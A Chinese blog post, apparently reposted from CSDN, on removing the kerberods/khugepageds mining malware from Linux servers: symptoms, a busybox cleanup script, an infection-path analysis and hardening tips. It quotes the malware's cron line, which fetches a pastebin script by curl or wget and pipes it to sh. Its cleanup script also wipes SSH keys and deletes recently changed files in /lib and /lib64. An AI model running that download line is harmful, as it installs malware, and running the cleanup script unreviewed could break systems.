一. 症状及表现
CPU使用率异常高,外出流量异常
crontab异常,存在如下定时任务(基本上就可以确定了)
[root@mdw ~]# crontab -l
*/15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh
1
2
在以下目录下存在异常文件
*注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤将在后文提供。
[root@mdw ~]# busybox ls -a /tmp |grep ds
/tmp/kerberods
/tmp/khugepageds
[root@mdw ~]# busybox ls -a /usr/sbin |grep kerber
/usr/sbin/kerberods
[root@mdw ~]# busybox ls -a /etc |grep ld.so.preload
/etc/ld.so.preload
[root@mdw ~]# busybox ls -a /usr/local/lib |grep libcry
/usr/local/lib/libcryptod.so
1
2
3
4
5
6
7
8
9
存在以下异常进程
busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods'
busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds'
1
2
存在以下异常开机项
/etc/rc.d/init.d/kerberods
/etc/init.d/netdns
1
2
常用命令动态链接库被异常修改
[root@mdw ~]# ldd `whereis top |awk '{print $2}'` |grep usr
xxx
1
2
二. 查杀方法
先把方法放在前边,后文将分析该病毒的处理逻辑、感染途径和代码分析
安装busybox
#!/bin/bash
#获取busybox安装包,也可以其他机器下载后离线上传到目标机器
wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2
#需要bzip2,要是机器没有安装的话
yum -y install bzip2
#或者离线安装bzip2
#tar zxvf bzip2-1.0.6.tar.gz
#cd bzip2-1.0.6/
#make -f Makefile-libbz2_so
#make && make install
tar -xvf busybox-1.21.0.tar.bz2
cd ./busybox-1.21.0
make defconfig
#注意,这里最好在相同操作系统的正常机器上进行静态链接
#防止动态链接还被挖矿病毒的动态库劫持,导致删除文件不成功
#如果条件不允许,第二点将会重点说明
make
make install
ln -s `pwd`/busybox /usr/bin/busybox
busybox|grep BusyBox |grep v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
如果最终出现以下信息,证明安装成功
BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary.
1
重要说明
注意,这些挖矿病毒都会贱兮兮的更改动态链接库,如果安装有vim等静态链接的文件编辑工具工具,可以用vim打开下边的文件,注释掉里边的内容
[root@mdw ~]# vim /etc/ld.so.preload
1
查杀脚本
#!/bin/bash
#可以重复执行几次,防止互相拉起导致删除失败
function installBusyBox(){
#参考第一段
busybox|grep BusyBox |grep v
}
function banHosts(){
#删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行
busybox echo "" > /root/.ssh/authorized_keys
busybox echo "" > /root/.ssh/id_rsa
busybox echo "" > /root/.ssh/id_rsa.pub
busybox echo "" > /root/.ssh/known_hosts
busybox echo "" > /root/.ssh/auth
#iptables -I INPUT -p tcp --dport 445 -j DROP
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
}
function fixCron(){
#修复crontab
busybox chattr -i /etc/cron.d/root 2>/dev/null
busybox rm -f /etc/cron.d/root
busybox chattr -i /var/spool/cron/root 2>/dev/null
busybox rm -f /var/spool/cron/root
busybox chattr -i /var/spool/cron/tomcat 2>/dev/null
busybox rm -f /var/spool/cron/tomcat
busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -rf /var/spool/cron/tmp.*
busybox rm -rf /var/spool/cron/crontabs
busybox touch /var/spool/cron/root
busybox chattr +i /var/spool/cron/root
}
function killProcess(){
#修复异常进程
busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox rm -f /tmp/khugepageds
busybox rm -f /usr/sbin/kerberods
busybox rm -f /usr/sbin/kthrotlds
busybox rm -f /usr/sbin/kintegrityds
busybox rm -f /usr/sbin/kpsmouseds
busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
}
function clearLib(){
#修复动态库
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox chattr -i /etc/ld.so.preload 2>/dev/null
busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null
busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
busybox rm -f /etc/ld.so.cache
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox rm -rf /usr/local/lib/libpamcd.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox touch /etc/ld.so.preload
busybox chattr +i /etc/ld.so.preload
ldconfig
}
function clearInit(){
#修复异常开机项
#chkconfig netdns off 2>/dev/null
#chkconfig –del netdns 2>/dev/null
#systemctl disable netdns 2>/dev/null
busybox rm -f /etc/rc.d/init.d/kerberods
busybox rm -f /etc/init.d/netdns
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/rc.d/init.d/kpsmouseds
busybox rm -f /etc/rc.d/init.d/kintegrityds
#chkconfig watchdogs off 2>/dev/null
#chkconfig --del watchdogs 2>/dev/null
#chkconfig --del kworker 2>/dev/null
#chkconfig --del netdns 2>/dev/null
}
function recoverOk(){
service crond start
busybox sleep 3
busybox chattr -i /var/spool/cron/root
echo "OK,BETTER REBOOT YOUR DEVICE"
}
#先停止crontab服务
service crond stop
#防止病毒继续扩散
banHosts
#清除lib劫持
clearLib
#修复crontab
fixCron
killProcess
clearLib
killProcess
#删除异常开机项
clearInit
fixCron
recoverOk
三. 病毒分析
感染路径
① ***者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码泄露登录等)。
② 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。
主要模块
主恶意程序:kerberods
恶意Hook库:libcryptod.so libcryptod.c
挖矿程序:khugepageds
恶意脚本文件:netdns (用作kerberods的启停等管理)
执行顺序
① 执行恶意脚本下载命令:
(curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh
1
该下载后的脚本主要操作有
1> 将指令添加到crontab中
2> kill掉同类挖矿进程
3> kill掉高好资源的其他进程
4> 下载执行主恶意程序kerberods
5> 横向ssh传播
② 主进程操作
1> 添加至开机启动
2> 生成了netdns文件
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库,恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件,增加定时任务
7> 拉起khugepageds挖矿进程
四. 后续安全加固
SSH
① 谨慎做免密登录
② 不使用默认的22端口
③ 禁止root登录
Redis
① 增加授权认证(requirepass参数)
② 尽量使用docker版本(docker pull redis)
③ 隐藏重要的命令
五.参考
watchdogs挖矿病毒,感染分析及解决
挖矿病毒kerberods查杀及分析
原文:https://blog.csdn.net/u010457406/article/details/89328869